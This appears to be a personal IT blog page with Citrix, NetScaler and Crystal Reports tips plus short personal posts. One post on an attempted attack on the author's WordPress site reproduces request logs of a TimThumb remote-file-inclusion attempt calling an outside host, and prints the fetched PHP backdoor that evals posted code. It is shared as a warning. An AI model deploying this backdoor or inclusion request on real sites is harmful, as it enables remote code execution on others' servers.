General
Unable to Connect Via RDP
I dont know why this happens,
but on some of my Citrix Servers you sometimes cannot connect via RDP
and guess what, a reboot doesn’t fix it.
Well, this handy little script will help solve your issue, not only with RDP, but also with ICA
RDP / ICA Reset Script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
@Echo Off ECHO RDP / ICA Reset Script Echo. Echo. SET /p ServerName=Enter Server Name: || Set ServerName=Nothing If "%ServerName%"=="Nothing" goto _error reset session rdp-tcp /server:%ServerName% reset session ica-tcp /server:%ServerName% :_error echo Nothing was chosen :_end echo Done mstsc /v %ServerName% |
I dont remember exactly where I got this script but its been in my toolbox for a while, credit to the originator whomever you may be
Check which Policy is being hit on the Citrix NetScaler
Want to know which policy is being hit on the netscaler. In real time!!
- From the Command line of the netscaler type
1Shell - issue the command
1nsconmsg -d current -g pol_hits - What to check for a specific Policy, just add the “grep” command
1nsconmsg -d current -g pol_hits | grep "Citrix"
where “Citrix” is the Policy you are looking to trace
Failed to open the connection When Viewing Report On Crystal Server 2011
So you created a report in Crystal Designer 2011 (or whatever other version) and it runs well on your system. You uploaded it to your Shiny New Crystal Reports Server 2011 (BO 4.0, XI4, whatever you call it) and it doesn’t work. You can’t view the report because you get an error:
1 2 3 4 5 6 7 8 9 10 |
The viewer could not process an event. Failed to open the connection. My Report - Test [] ---- Error code:0 [CRWEB00000119] com.businessobjects.report.web.shared.WebReportingException: The viewer could not process an event. Failed to open the connection. Project Request Form Location [] ---- Error code:0 [CRWEB00000119] at com.businessobjects.report.web.shared.WebReportingException.throwWebReportingException(WebReportingException.java:71) at com.businessobjects.report.web.component.ViewerContainer.processEvents(ViewerContainer.java:2021) at ........ |
The Problem is that Crystal Designer is 32-bit, and Crystal Server 2011 is 64-bit.
So if you want to use your report on Crystal Server 2011, you need to add the ODBC connection to the server using the \Windows\SysWOW64\odbcad32.exe ODBC Manager Control panel. After that, your report should run just fine.

Something Funny I found today on my NetScaler
When I went to kick off a user from my production netscaler, this is the message that popped up:
No more logged in? Really? Citrix? Really? lolz for all!!

Hack Attempt on Pinchii.com
So today someone tried to hack my blog. I guess some people are just bored and need something to do.
Anyway, here is what they tried to do, I got this in my “hack prevention” scripts that I have running on the site
1 2 3 4 5 6 7 |
Remote Address:91.224.160.182 Remote Port:47762 Request Method:GET Referer: Query String: Request URI:/home/wp-content/themes/mystique/thumb.php?src=http://blogger.com.bloggera.net/images.php User Agent:Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.62 |
And also
1 2 3 4 5 6 7 |
Remote Address:91.224.160.182 Remote Port:47764 Request Method:GET Referer: Query String: Request URI:/home/wp-content/themes/mystique/timthumb.php?src=http://blogger.com.bloggera.net/images.php User Agent:Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.62 |
The content of the File “images.php” is
1 2 3 4 5 6 7 |
::::BINARY CODE PAYLOAD:::: <?php if(md5($_POST["key"]) == "f732d47960be7e806861987f98a9574c"){ $cmd = $_POST["code"]; eval (stripslashes($cmd)); } ?> |
Looks like they are trying to gain CMD on my Apache server
If you guys are getting the same, I suggest you block PHP files in your wp-content folder
Oh, and for those of you that are curious, this is what the “binary payload” looks like
Stay Safe!!
P.S. I posted it on wordpress.org to warn others a well (http://wordpress.org/support/topic/new-hack-attempt-on-self-hosted-wordpress-site)
Updated: How to Fail Over Crystal Reports Server 2008
So,
I have been getting emails asking me questions on my post how-to-failover-crystal-reports-server-2008 so I thought I’d update the post and also add a few images to make the procedure simpler to follow. Please drop a comment and let me know if the update helped.
Hope you all enjoy!!
New Archives Page
There is a new archives page,
I went looking for a way to create a nice Archive page where every topic could be seen at a glance, but it turns out that I could not find anything that was descent, and everything I found wasn’t very recent
I saw that people really liked SRG Clean Archives and KG Archives, but the problem with either one is that they have not been updated since 2007 ::yikes::
So I just went ahead and installed and tested both. Out of the box neither one of them worked.
After looking over the source code for both, it seemed to me that the code for SRG Clean Archives was just too cluttered (no pun intended here). SRG refers to many different libraries and effects that I don’t really care for. Like i said before, I just want a simple page.
KG Archive in the other hand is simple, one page of php code, easy to follow and tweak as you like. I went over the code, made a few tweaks, and even included a short-code tag to replace the way that Kates Gasis, the author of the plug-in first intended to have the plug-in embedded. This allowed me to clean up a lot of the regular expression matching in the code and make the code simpler and more WordPress friendly.
If you go checkout my new archives page, you can see the plug-in in action, it does what I need it to do, and it works well with WordPress 3.
I won’t be releasing my code changes to KG archive because the code belongs to Kate, Since Kate hasn’t updated the code since 2007, I hope Kate gives me permission so that I can make my own branch of the Plug-in and post in the official Word Press plug-in database
September 11, 2010
As a New Yorker and an American, I could not let today pass without reflecting back to that Tuesday morning when the attacks happened.
I don’t think anyone will ever forget the attack and the lives lost that day. I hope that in this very painful, memory filled day for so many families, that they can find hope, strength, and I just want to say that the city of new york and the country shares in your pain.
Never forget
9/11/2001
Comments and Contact Me Enabled
So I decided to enable the Comments and Also fixed the Contact me Page, just in case anyone has any questions on any of my posts or just wants to say “Thanks”
Please note that I don’t collect your “comment” emails, rather I purge the emails (more like a DB update) once a week so that no one can get them. I hate spam as much as everyone else 🙂
Happy Memorial Day
Happy Memorial Day everyone
Please join everyone in remembering and honoring our military men and women